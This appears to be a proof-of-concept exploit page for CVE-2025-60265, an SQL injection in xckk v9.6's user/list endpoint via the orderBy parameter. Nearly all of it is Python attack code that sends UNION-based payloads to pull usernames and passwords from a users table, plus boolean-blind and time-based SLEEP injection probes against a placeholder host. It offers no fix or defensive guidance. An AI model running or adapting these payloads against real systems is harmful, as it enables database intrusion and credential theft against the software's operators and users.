CVE-2025-60265：xckk v9.6 SQL注入漏洞

# CVE-2025-60265 PoC - xckk v9.6 SQL Injection via orderBy parameter # Target: user/list endpoint # Vulnerability: orderBy parameter is not securely filtered import requests TARGET_URL = "http://target-xckk-host/user/list" # Step 1: Verify the SQL injection vulnerability # Normal request to observe baseline response def test_normal(): params = {"orderBy": "id", "page": "1", "limit": "10"} resp = requests.get(TARGET_URL, params=params) print(f"[Normal] Status: {resp.status_code}, Length: {len(resp.text)}") return resp # Step 2: Inject malicious payload via orderBy parameter # Using UNION-based injection to extract database info def exploit_union(): # Example: orderBy=id UNION SELECT 1,username,password,4 FROM users-- payload = "id UNION SELECT 1,username,password,4 FROM users--" params = {"orderBy": payload, "page": "1", "limit": "10"} resp = requests.get(TARGET_URL, params=params) print(f"[UNION Exploit] Status: {resp.status_code}") print(f"Response: {resp.text[:500]}") return resp # Step 3: Boolean-based blind injection to enumerate data def exploit_blind(): # Test if database name length > 5 payload = "id AND (SELECT LENGTH(database()))>5--" params = {"orderBy": payload, "page": "1", "limit": "10"} resp = requests.get(TARGET_URL, params=params) print(f"[Blind Exploit] Status: {resp.status_code}, Length: {len(resp.text)}") return resp # Step 4: Time-based blind injection def exploit_time(): import time payload = "id AND IF(1=1, SLEEP(3), 0)--" params = {"orderBy": payload, "page": "1", "limit": "10"} start = time.time() resp = requests.get(TARGET_URL, params=params) elapsed = time.time() - start print(f"[Time-based] Elapsed: {elapsed:.2f}s (should be >=3 if vulnerable)") return resp if __name__ == "__main__": test_normal() exploit_union() exploit_blind() exploit_time()